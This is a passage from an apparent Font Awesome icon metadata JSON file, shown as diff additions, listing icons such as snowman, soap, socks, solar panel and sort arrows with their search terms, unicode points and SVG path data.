22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "snowman": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "decoration", + "frost", + "frosty", + "holiday" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7d0", + "label": "Snowman", + "svg": { + "solid": { + "last_modified": 1628088635707, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "snowplow": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clean up", + "cold", + "road", + "storm", + "winter" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7d2", + "label": "Snowplow", + "svg": { + "solid": { + "last_modified": 1628088635707, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "soap": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bubbles", + "clean", + "covid-19", + "hygiene", + "wash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06e", + "label": "Soap", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z" + } + }, + "free": [ + "solid" + ] + }, + "socks": { + "changes": [ + "5.3.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "business socks", + "business time", + "clothing", + "feet", + "flight of the conchords", + "wednesday" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f696", + "label": "Socks", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z" + } + }, + "free": [ + "solid" + ] + }, + "solar-panel": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clean", + "eco-friendly", + "energy", + "green", + "sun" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5ba", + "label": "Solar Panel", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z" + } + }, + "free": [ + "solid" + ] + }, + "sort": { + "changes": [ + "2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "filter", + "order" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0dc", + "label": "Sort", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635713, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z" + } + }, + "free": [ + "solid" + ] + }, + "sort-alpha-down": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabetical", + "arrange", + "filter", + "order", + "sort-alpha-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f15d", + "label": "Sort Alphabetical Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635709, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" + } + }, + "free": [ + "solid" + ] + }, + "sort-alpha-down-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabetical", + "arrange", + "filter", + "order", + "sort-alpha-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f881", + "label": "Alternate Sort Alphabetical Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635708, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" + } + }, + "free": [ + "solid" + ] + }, + "sort-alpha-up": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabetical", + "arrange", + "filter", + "order", + "sort-alpha-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f15e", + "label": "Sort Alphabetical Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635709, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" + } + }, + "free": [ + "solid" + ] + }, + "sort-alpha-up-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabetical", + "arrange", + "filter", + "order", + "sort-alpha-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f882", + "label": "Alternate Sort Alphabetical Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635709, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" + } + }, + "free": [ + "solid" + ] + }, + "sort-amount-down": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "number", + "order", + "sort-amount-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f160", + "label": "Sort Amount Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635709, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "sort-amount-down-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "order", + "sort-amount-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f884", + "label": "Alternate Sort Amount Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635709, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" + } + }, + "free": [ + "solid" + ] + }, + "sort-amount-up": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "order", + "sort-amount-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f161", + "label": "Sort Amount Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635710, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 